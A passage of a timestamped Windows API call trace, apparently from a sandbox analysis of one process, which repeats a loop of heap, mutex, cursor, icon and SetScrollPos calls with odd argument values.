	[0095.804] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.804] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.804] GetCurrentProcessId () returned 0xb50
	[0095.804] GetLastError () returned 0x578
	[0095.804] GetLastError () returned 0x578
	[0095.804] GetLastError () returned 0x0
	[0095.804] ReleaseMutex (hMutex=0x360) returned 1
	[0095.804] CloseHandle (hObject=0x360) returned 1
	[0095.804] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2013570704, bRedraw=1) returned 0
	[0095.805] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.805] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.805] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.805] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.805] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.805] GetCurrentProcessId () returned 0xb50
	[0095.805] GetLastError () returned 0x578
	[0095.805] GetLastError () returned 0x578
	[0095.805] GetLastError () returned 0x0
	[0095.805] ReleaseMutex (hMutex=0x360) returned 1
	[0095.805] CloseHandle (hObject=0x360) returned 1
	[0095.805] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-709101762, bRedraw=1) returned 0
	[0095.805] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.805] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.805] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.805] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.805] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.805] GetCurrentProcessId () returned 0xb50
	[0095.805] GetLastError () returned 0x578
	[0095.805] GetLastError () returned 0x578
	[0095.805] GetLastError () returned 0x0
	[0095.805] ReleaseMutex (hMutex=0x360) returned 1
	[0095.805] CloseHandle (hObject=0x360) returned 1
	[0095.805] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=872823020, bRedraw=1) returned 0
	[0095.806] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.806] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.806] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.806] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.806] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.806] GetCurrentProcessId () returned 0xb50
	[0095.806] GetLastError () returned 0x578
	[0095.806] GetLastError () returned 0x578
	[0095.806] GetLastError () returned 0x0
	[0095.806] ReleaseMutex (hMutex=0x360) returned 1
	[0095.806] CloseHandle (hObject=0x360) returned 1
	[0095.806] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1830589542, bRedraw=1) returned 0
	[0095.806] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.806] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.806] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.806] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.806] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.806] GetCurrentProcessId () returned 0xb50
	[0095.806] GetLastError () returned 0x578
	[0095.806] GetLastError () returned 0x578
	[0095.806] GetLastError () returned 0x0
	[0095.806] ReleaseMutex (hMutex=0x360) returned 1
	[0095.807] CloseHandle (hObject=0x360) returned 1
	[0095.807] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-229404856, bRedraw=1) returned 0
	[0095.807] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.807] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.807] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.807] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.807] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.807] GetCurrentProcessId () returned 0xb50
	[0095.807] GetLastError () returned 0x578
	[0095.807] GetLastError () returned 0x578
	[0095.807] GetLastError () returned 0x0
	[0095.807] ReleaseMutex (hMutex=0x360) returned 1
	[0095.807] CloseHandle (hObject=0x360) returned 1
	[0095.807] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1381409782, bRedraw=1) returned 0
	[0095.807] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.807] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.807] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.807] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.807] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.807] GetCurrentProcessId () returned 0xb50
	[0095.807] GetLastError () returned 0x578
	[0095.807] GetLastError () returned 0x578
	[0095.808] GetLastError () returned 0x0
	[0095.808] ReleaseMutex (hMutex=0x360) returned 1
	[0095.808] CloseHandle (hObject=0x360) returned 1
	[0095.808] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1293112924, bRedraw=1) returned 0
	[0095.808] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.808] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.808] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.808] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.808] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.808] GetCurrentProcessId () returned 0xb50
	[0095.808] GetLastError () returned 0x578
	[0095.808] GetLastError () returned 0x578
	[0095.808] GetLastError () returned 0x0
	[0095.808] ReleaseMutex (hMutex=0x360) returned 1
	[0095.808] CloseHandle (hObject=0x360) returned 1
	[0095.808] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=336961618, bRedraw=1) returned 0
	[0095.808] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.808] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.808] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.808] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.808] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.808] GetCurrentProcessId () returned 0xb50
	[0095.808] GetLastError () returned 0x578
	[0095.809] GetLastError () returned 0x578
	[0095.809] GetLastError () returned 0x0
	[0095.809] ReleaseMutex (hMutex=0x360) returned 1
	[0095.809] CloseHandle (hObject=0x360) returned 1
	[0095.809] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1976666112, bRedraw=1) returned 0
	[0095.809] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.809] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.809] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.809] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.809] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.809] GetCurrentProcessId () returned 0xb50
	[0095.809] GetLastError () returned 0x578
	[0095.809] GetLastError () returned 0x578
	[0095.809] GetLastError () returned 0x0
	[0095.809] ReleaseMutex (hMutex=0x360) returned 1
	[0095.809] CloseHandle (hObject=0x360) returned 1
	[0095.809] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-668966738, bRedraw=1) returned 0
	[0095.810] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.810] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.810] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.810] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.810] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.810] GetCurrentProcessId () returned 0xb50
	[0095.810] GetLastError () returned 0x578
	[0095.810] GetLastError () returned 0x578
	[0095.810] GetLastError () returned 0x0
	[0095.810] ReleaseMutex (hMutex=0x360) returned 1
	[0095.810] CloseHandle (hObject=0x360) returned 1
	[0095.810] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=989997660, bRedraw=1) returned 0
	[0095.810] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.810] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.811] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.811] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.811] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.811] GetCurrentProcessId () returned 0xb50
	[0095.811] GetLastError () returned 0x578
	[0095.811] GetLastError () returned 0x578
	[0095.811] GetLastError () returned 0x0
	[0095.811] ReleaseMutex (hMutex=0x360) returned 1
	[0095.811] CloseHandle (hObject=0x360) returned 1
	[0095.811] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1636375286, bRedraw=1) returned 0
	[0095.811] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.811] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.811] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.811] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.811] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.811] GetCurrentProcessId () returned 0xb50
	[0095.811] GetLastError () returned 0x578
	[0095.811] GetLastError () returned 0x578
	[0095.811] GetLastError () returned 0x0
	[0095.811] ReleaseMutex (hMutex=0x360) returned 1
	[0095.811] CloseHandle (hObject=0x360) returned 1
	[0095.811] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=41849016, bRedraw=1) returned 0
	[0095.812] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.812] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.812] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.812] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.812] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.812] GetCurrentProcessId () returned 0xb50
	[0095.812] GetLastError () returned 0x578
	[0095.812] GetLastError () returned 0x578
	[0095.812] GetLastError () returned 0x0
	[0095.812] ReleaseMutex (hMutex=0x360) returned 1
	[0095.812] CloseHandle (hObject=0x360) returned 1
	[0095.812] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1729703270, bRedraw=1) returned 0
	[0095.812] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.812] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.812] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.812] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.812] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.812] GetCurrentProcessId () returned 0xb50
	[0095.812] GetLastError () returned 0x578
	[0095.812] GetLastError () returned 0x578
	[0095.812] GetLastError () returned 0x0
	[0095.812] ReleaseMutex (hMutex=0x360) returned 1
	[0095.812] CloseHandle (hObject=0x360) returned 1
	[0095.812] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-867779820, bRedraw=1) returned 0
	[0095.813] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.813] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.813] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.813] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.813] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.813] GetCurrentProcessId () returned 0xb50
	[0095.813] GetLastError () returned 0x578
	[0095.813] GetLastError () returned 0x578
	[0095.813] GetLastError () returned 0x0
	[0095.813] ReleaseMutex (hMutex=0x360) returned 1
	[0095.813] CloseHandle (hObject=0x360) returned 1
	[0095.813] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=839334338, bRedraw=1) returned 0
	[0095.813] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.813] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.813] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.813] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.813] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.813] GetCurrentProcessId () returned 0xb50
	[0095.813] GetLastError () returned 0x578
	[0095.813] GetLastError () returned 0x578
	[0095.813] GetLastError () returned 0x0
	[0095.813] ReleaseMutex (hMutex=0x360) returned 1
	[0095.814] CloseHandle (hObject=0x360) returned 1
	[0095.814] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1738888848, bRedraw=1) returned 0
	[0095.814] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.814] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.814] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.814] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.814] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.814] GetCurrentProcessId () returned 0xb50
	[0095.814] GetLastError () returned 0x578
	[0095.814] GetLastError () returned 0x578
	[0095.814] GetLastError () returned 0x0
	[0095.814] ReleaseMutex (hMutex=0x360) returned 1
	[0095.814] CloseHandle (hObject=0x360) returned 1
	[0095.814] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-12514786, bRedraw=1) returned 0
	[0095.814] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.814] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.814] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.814] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.814] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.814] GetCurrentProcessId () returned 0xb50
	[0095.814] GetLastError () returned 0x578
	[0095.814] GetLastError () returned 0x578
	[0095.815] GetLastError () returned 0x0
	[0095.815] ReleaseMutex (hMutex=0x360) returned 1
	[0095.815] CloseHandle (hObject=0x360) returned 1
	[0095.815] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1723489228, bRedraw=1) returned 0
	[0095.815] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.815] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.815] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.815] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.815] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.815] GetCurrentProcessId () returned 0xb50
	[0095.815] GetLastError () returned 0x578
	[0095.815] GetLastError () returned 0x578
	[0095.815] GetLastError () returned 0x0
	[0095.815] ReleaseMutex (hMutex=0x360) returned 1
	[0095.815] CloseHandle (hObject=0x360) returned 1
	[0095.815] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-825844102, bRedraw=1) returned 0
	[0095.815] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.815] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.815] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.815] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.815] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.815] GetCurrentProcessId () returned 0xb50
	[0095.816] GetLastError () returned 0x578
	[0095.816] GetLastError () returned 0x578
	[0095.816] GetLastError () returned 0x0
	[0095.816] ReleaseMutex (hMutex=0x360) returned 1
	[0095.816] CloseHandle (hObject=0x360) returned 1
	[0095.816] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=929419816, bRedraw=1) returned 0
	[0095.816] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.816] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.816] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.816] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.816] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.816] GetCurrentProcessId () returned 0xb50
	[0095.816] GetLastError () returned 0x578
	[0095.816] GetLastError () returned 0x578
	[0095.816] GetLastError () returned 0x0
	[0095.816] ReleaseMutex (hMutex=0x360) returned 1
	[0095.816] CloseHandle (hObject=0x360) returned 1
	[0095.816] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1600653610, bRedraw=1) returned 0
	[0095.816] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.816] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.816] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.817] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.817] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.817] GetCurrentProcessId () returned 0xb50
	[0095.817] GetLastError () returned 0x578
	[0095.817] GetLastError () returned 0x578
	[0095.817] GetLastError () returned 0x0
	[0095.817] ReleaseMutex (hMutex=0x360) returned 1
	[0095.817] CloseHandle (hObject=0x360) returned 1
	[0095.817] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=173870212, bRedraw=1) returned 0
	[0095.817] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.817] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.817] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.817] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.817] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.817] GetCurrentProcessId () returned 0xb50
	[0095.817] GetLastError () returned 0x578
	[0095.817] GetLastError () returned 0x578
	[0095.817] GetLastError () returned 0x0
	[0095.817] ReleaseMutex (hMutex=0x360) returned 1
	[0095.817] CloseHandle (hObject=0x360) returned 1
	[0095.817] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1958023986, bRedraw=1) returned 0
	[0095.817] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.817] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.818] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.818] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.818] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.818] GetCurrentProcessId () returned 0xb50
	[0095.818] GetLastError () returned 0x578
	[0095.818] GetLastError () returned 0x578
	[0095.818] GetLastError () returned 0x0
	[0095.818] ReleaseMutex (hMutex=0x360) returned 1
	[0095.818] CloseHandle (hObject=0x360) returned 1
	[0095.818] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-543159584, bRedraw=1) returned 0
	[0095.818] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.818] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.818] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.818] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.818] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.818] GetCurrentProcessId () returned 0xb50
	[0095.818] GetLastError () returned 0x578
	[0095.819] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1260254094, bRedraw=1) returned 0
	[0095.819] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.819] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.819] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.819] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.819] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.819] GetCurrentProcessId () returned 0xb50
	[0095.819] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1221669572, bRedraw=1) returned 0
	[0095.819] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.819] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.819] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.819] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.819] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.819] GetCurrentProcessId () returned 0xb50
	[0095.819] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=601004010, bRedraw=1) returned 0
	[0095.820] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.820] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.820] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.820] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.820] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.820] GetCurrentProcessId () returned 0xb50
	[0095.820] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1861659752, bRedraw=1) returned 0
	[0095.820] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.820] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.820] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.820] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.820] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.820] GetCurrentProcessId () returned 0xb50
	[0095.820] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-19726266, bRedraw=1) returned 0
	[0095.820] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.820] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.820] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.820] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.820] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.820] GetCurrentProcessId () returned 0xb50
	[0095.821] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1831837172, bRedraw=1) returned 0
	[0095.821] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.821] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.821] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.821] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.821] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.821] GetCurrentProcessId () returned 0xb50
	[0095.821] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-601936734, bRedraw=1) returned 0
	[0095.821] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.821] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.821] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.821] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.821] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.821] GetCurrentProcessId () returned 0xb50
	[0095.821] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1268886608, bRedraw=1) returned 0
	[0095.821] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.821] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.821] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.821] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.821] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.821] GetCurrentProcessId () returned 0xb50
	[0095.822] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1145627394, bRedraw=1) returned 0
	[0095.822] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.822] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.822] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.822] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.822] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.822] GetCurrentProcessId () returned 0xb50
	[0095.822] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=744455852, bRedraw=1) returned 0
	[0095.822] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.822] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.822] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.822] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.822] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.822] GetCurrentProcessId () returned 0xb50
	[0095.822] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1650798246, bRedraw=1) returned 0
	[0095.822] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.822] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
